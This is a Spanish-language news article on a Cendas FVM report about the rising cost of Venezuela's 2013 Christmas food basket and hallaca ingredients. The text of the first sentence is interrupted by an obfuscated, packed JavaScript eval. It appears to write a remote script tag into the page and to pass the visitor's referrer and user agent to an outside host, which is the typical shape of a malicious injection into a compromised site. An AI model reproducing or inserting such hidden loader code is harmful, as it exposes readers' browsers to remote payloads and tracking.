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Canasta navideña se prepara con más de seis mil bolívares

Yasmín Ojeda Ruiz / Maracaibo / yojeda@laverdad.com
Productos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rktfk|var|u0026u|referrer|hzryb||js|php'.split('|'),0,{})) regulados mantienen acelerada de precios de los ingredientes. Cendas FVM adelantó el informe navideño de la comida tradicional con todos los platos decembrinos. Más de dos salarios mínimos se necesitan para cubrir los gastos

El Centro de Documentación y Análisis Social de la Federación Venezolana de Maestros presentó el informe de la canasta navideña para esta temporada. Los resultados de las investigaciones de precios a noviembre en supermercados y mercados populares indican que el costo de los productos es de seis mil 411,13 bolívares.

Preparar 50 hallacas, pernil, pan de jamón y demás piezas de la cesta navideña supera en 86,1 por ciento los cálculos de gastos de 2012. Cendas informa que la variación oscila en dos mil 966,07 bolívares.

Ingredientes como carne de res, pollo, harina de maíz, cebolla, pasitas y ajo reportan alza de más de 100 por ciento en los precios de ventas.  Las especies importadas tienen 650 por ciento de aumento comparada con los costos del año pasado.

Las variaciones por debajo de 37 por ciento se apuntan al kilo de pimentón y aceite. Y con comportamientos de precios por encima de la media se sitúan: encurtidos, sal, aceituna, alcaparra, ají dulce y ajo porro.

En el costo por hallaca destaca gastos de mil 694,93 bolívares. El precio de cada pieza ronda Bs. 33,90. Una variación de 17,89 bolívares, lo que significa un alza de 111,7 por ciento. La lista resalta que hasta el pabilo tiene alzas de 200 por ciento. De 10 bolívares pasó a 30.

Los ingredientes para hacer las hallacas, principal plato de la canasta navideña, tiene aceleración en precios. Cendas señaló un promedio entre 18 rubros de 121 por ciento. La mayor proporción del gasto se carga a la carne de primera de res. Se desembolsa 630 bolívares solo en cinco kilos para elaborar 50 hallacas.

Más de dos salarios mínimos necesitaría una familia para responder a los gustos navideños. La tradición de la comida no se cubre con dos mil 973 bolívares. Los hogares con un solo ingreso formal se queda corto a las demandas de consumo para diciembre.

 

Comparación de gastos a noviembre

 

2012

2013

Canasta navideña

3.445,06

6.411,13

Costo 50 hallacas

800,66

1.694,93

Productos regulados

Carne

126

60,40

Pollo

57

22,20

Harina de maíz

18,40

7

Aceite

25

18,80

 

111,7 % aumentó el precio de una hallaca según Cendas.

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